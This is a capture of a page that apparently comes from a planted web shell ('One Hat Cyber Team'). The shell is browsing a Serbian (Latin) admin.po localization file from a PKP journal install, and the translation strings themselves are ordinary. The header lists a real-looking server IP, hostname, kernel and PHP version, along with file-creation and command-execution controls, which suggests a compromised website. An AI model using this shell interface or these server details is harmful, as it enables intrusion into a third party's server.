One Hat Cyber Team
Your IP :
216.73.216.182
Server IP :
203.175.9.166
Server :
Linux tanggamus.iixcp.rumahweb.net 5.14.0-427.28.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 2 03:44:10 EDT 2024 x86_64
Server Software :
LiteSpeed
PHP Version :
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
cite5577
/
www
/
lib
/
pkp
/
locale
/
sr_RS@latin
/
View File Name :
admin.po
msgid "" msgstr "" "Project-Id-Version: \n" "Report-Msgid-Bugs-To: \n" "Last-Translator: \n" "Language-Team: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2019-11-19T10:50:04+00:00\n" "PO-Revision-Date: 2019-11-19T10:50:04+00:00\n" "Language: \n" msgid "admin.adminFunctions" msgstr "Administrativne funkcije" msgid "admin.auth.confirmDelete" msgstr "Da li ste sigurni da želite trajno obrisati ovaj izvor autentifikacije?" msgid "admin.auth.create" msgstr "Kreirajte izvor autentifikacije" msgid "admin.auth.noneCreated" msgstr "Ni jedan izvor autentifikacije nije definisan." msgid "admin.authSources" msgstr "Izvori autentifikacije" msgid "admin.clearDataCache" msgstr "Brisanje keš memorije podataka" msgid "admin.clearTemplateCache" msgstr "Brisanje keš memorije šablona" msgid "admin.configFileUpdatedInstructions" msgstr "Vaš konfiguracioni fajl je uspešno ažurirana. Imajte na umu da ukoliko vaš sajt više ne radi ispravno, morate ručno podesiti konfiguraciju prilikom direktnog uređivanja <tt>config.inc.php</tt> fajla." msgid "admin.confirmClearTemplateCache" msgstr "Da li ste sigurni da želite obrisati keš memoriju izrađenih šablona?" msgid "admin.confirmExpireSessions" msgstr "Da li ste sigurni da želite da sesije svih korisnika isteknu? Svi korisnici koji su trenutno prijavljeni u sistem će bit prisiljeni da se ponovno prijave (Vi takođe)." msgid "admin.contentsOfConfigFile" msgstr "Sadržaj konfiguracionog fajla" msgid "admin.currentVersion" msgstr "Trenutna verzija" msgid "admin.dateInstalled" msgstr "Datum instalacije" msgid "admin.displayConfigFileInstructions" msgstr "Sistem ne može automatski obaviti prepisivanje preko konfiguracionog fajla. Kako biste primenili konfiguracione izmene morate otvoriti fajl <tt>config.inc.php</tt> u prikladnom uređivaču teksta i zamieniti njegov sadržaj sa sadržajem teksta u polju ispod." msgid "admin.displayNewSystemConfig" msgstr "Prikaži novu konfiguraciju" msgid "admin.expireSessions" msgstr "Učini korisničke sesije nevažećima" msgid "admin.languages.confirmReload" msgstr "Da li ste sigurni da ponovno želite učitati ovaj prevod? To će obrisati sve izmene u prevodu koje su urađene u pojedinim časopisima (na primer, prilagođeni šabloni imejl pošte)." msgid "admin.languages.installedLocales" msgstr "Instalirane lokalizacije" msgid "admin.languages.installLanguages" msgstr "Podesi lokalizacije" msgid "admin.languages.installLocales" msgstr "Instaliraj" msgid "admin.languages.installNewLocales" msgstr "Instaliraj novu lokalizaciju" msgid "admin.languages.languageSettings" msgstr "Podešavanje jeyika" msgid "admin.languages.noLocalesAvailable" msgstr "Nema dodatnih prevoda na raspolaganju za instalaciju." msgid "admin.languages.reload" msgstr "Ponovno učitavanje lokalizacije" msgid "admin.languages.uninstall" msgstr "Brisanje lokalizacije" msgid "admin.phpInfo" msgstr "Dodatne informacije o PHP-u" msgid "admin.server.apacheVersion" msgstr "Verzija Apache-a" msgid "admin.server.dbDriver" msgstr "Tip baze podataka" msgid "admin.server.dbVersion" msgstr "Verzija servera baze podataka" msgid "admin.serverInformation" msgstr "Informacije o serveru" msgid "admin.server.phpVersion" msgstr "Verzija PHP-a" msgid "admin.server.platform" msgstr "Platforma OS-a" msgid "admin.settings.about" msgstr "Opis sajta" msgid "admin.settings.contactEmail" msgstr "Imejl glavnog kontakta" msgid "admin.settings.contactName" msgstr "Ime glavnog kontakta" msgid "admin.settings.introduction" msgstr "Uvod" msgid "admin.settings.minPasswordLength" msgstr "Minimalna dužina lozinke" msgid "admin.settings.oaiRegistration" msgstr "Registrujte sajt za indeksiranje (sakupljanje metapodataka)" msgid "admin.settings.siteLanguage" msgstr "Jezik sajta" msgid "admin.settings.siteStyleSheetInvalid" msgstr "Neispravan format stranice stila. Sistem prihvata samo .css format." msgid "admin.settings.siteStyleSheet" msgstr "Stranica stila (CSS) sajta" msgid "admin.settings.siteTitle" msgstr "Naziv sajta" msgid "admin.siteAdmin" msgstr "Administracija sajta" msgid "admin.siteManagement" msgstr "Upravljanje sajtom" msgid "admin.siteSettings" msgstr "Podešavanje sajta" msgid "admin.systemConfigFileReadError" msgstr "Konfiguracioni fajl <tt>config.inc.php</tt> ne postoji, nije čitljiv ili je neispravan." msgid "admin.systemInformation" msgstr "Informacije o sistemu" msgid "admin.versionBuild" msgstr "Građa" msgid "admin.version.checkForUpdates" msgstr "Proverite da li postoje nove verzije" msgid "admin.version.downloadPackage" msgstr "Preuzmite" msgid "admin.version.downloadPatch" msgstr "Preuzmite zakrpu" msgid "admin.versionHistory" msgstr "Prethodne verzije" msgid "admin.version.latest" msgstr "Poslednja verzija" msgid "admin.versionMajor" msgstr "Glavna" msgid "admin.versionMinor" msgstr "Sporedna" msgid "admin.version.moreInfo" msgstr "Više informacija" msgid "admin.versionRevision" msgstr "Revizija" msgid "admin.version.updateAvailable" msgstr "Ažurirana verzija je dostupna" msgid "admin.version.upToDate" msgstr "Imate poslednju verziju sistema" msgid "admin.version" msgstr "Verzija" msgid "admin.settings" msgstr "Podešavanja" msgid "admin.settings.siteTheme" msgstr "Šablon sajta" msgid "admin.siteSetup" msgstr "Podešavanje sajta" msgid "admin.systemInfo.settingName" msgstr "Naziv podešavanja" msgid "admin.systemInfo.settingValue" msgstr "Vrednost podešavanja" msgid "admin.languages.cantDisable" msgstr "Ova lokalizacija je primarni jezik sajta i ne može biti obrisana dok ne odaberete novi primarni jezik." msgid "admin.languages.availableLocales" msgstr "Dostupne lokalizacije" msgid "admin.languages.installLocale" msgstr "Instaliraj lokalizaciju" msgid "admin.scheduledTask" msgstr "Planirani zadaci" msgid "admin.scheduledTask.startTime" msgstr "Proces zadatka je započeo." msgid "admin.scheduledTask.stopTime" msgstr "Proces zadatka je stao." msgid "admin.scheduledTask.noLog" msgstr "Zadatak je proizveo log zapis." msgid "admin.scheduledTask.downloadLog" msgstr "Vaša {$softwareName} instalacija je automatski izvršila i završila ovaj zadatak, log fajl možete preuzeti i pogledati ovde: {$url}" msgid "admin.scheduledTask.confirmClearLogs" msgstr "Da li ste sigurni da želite da obrišete sve logove izvršenja planiranih zadataka?" msgid "admin.scheduledTask.clearLogs" msgstr "Obriši logove izvršenja planiranih zadataka" msgid "admin.scheduledTask.reviewReminder" msgstr "Podsetnik recenziranja" msgid "admin.scheduledTask.subscriptionExpiryReminder" msgstr "Podsetnik isteka pretplate" msgid "admin.settings.siteLogo" msgstr "Logo sajtа" msgid "admin.fileLoader.wrongBasePathLocation" msgstr "Bazična putanja {$path} mora biti unutar javno dostupnog direktorijuma." msgid "admin.fileLoader.pathNotAccessible" msgstr "Direktorijum {$path} nije direktorijum ili nije čitljiv." msgid "admin.fileLoader.moveFileFailed" msgstr "Fajl {$filename} ne može biti premešten iz {$currentFilePath} u {$destinationPath}" msgid "admin.fileLoader.fileProcessed" msgstr "Fajl {$filename} je obrađen i arhiviran." msgid "admin.fileLoader.emailSubject" msgstr "Učitavač fajla" msgid "admin.copyAccessLogFileTool.error.creatingFolder" msgstr "Greška: ne mogu napraviti privremeni direktorijum {$tmpDir}" msgid "admin.copyAccessLogFileTool.error.acessingFile" msgstr "Greška: fajl {$filePath} ne postoji ili mu se ne može pristupiti." msgid "admin.copyAccessLogFileTool.error.copyingFile" msgstr "Greška: ne mogu kopirati fajl iz {$filePath} u {$tmpFilePath}" msgid "admin.copyAccessLogFileTool.error.deletingFile" msgstr "Greška: ne mogu da obrišem fajl {$tmpFilePath}" msgid "admin.copyAccessLogFileTool.warning.fileAlreadyExists" msgstr "Upozorenje: fajl {$filePath} već postoji unutar direktorijuma statistike upotrebe." msgid "admin.copyAccessLogFileTool.success" msgstr "Uspešno: {$filePath} у {$destinationPath}" msgid "admin.error.utilExecutionProblem" msgstr "\"{$utilPath}\" izvršavanje programa dalo je sledeću grešku: {$output}" msgid "admin.error.executingUtil" msgstr "Greška: ne mogu da izvršim \"{$utilPath}\". Proverite vaše podešavanje {$utilVar} u config.inc.php." msgid "admin.languages.noLocalesToDownload" msgstr "Nema lokalizacija dostupnih za preuzimanje" msgid "admin.settings.defaultMetricDescription" msgstr "" "Vaša instalacija je podešena da prati više od jedne statistike. Statistike korišćenja biće prikazane u više različitih konteksta.\n" "\t\tPostoje slučajevi gde je potrebno koristiti samo jednu statistiku, npr. prikazivanje složene liste najkorišćenijih predaja ili prilikom rangiranja rezultata pretrage. Molimo vas da podesite jednu od podešenih metrika kao primarnu." msgid "admin.copyAccessLogFileTool.usage" msgstr "Iskopirajte pristupne log fajlove za apache, filtrirajući upise vezane za ovu instalaciju u direktorij za fajlove unutar UsageStatsPlugin status/stage direktorija. Morate obezbediti privilegije za čitanje i pristup apache log fajlovima. Ovaj alat će iskopirati samo one fajlove koji nisu već u direktorijima za usageStats (status, obrada, arhiviraj, odbij)."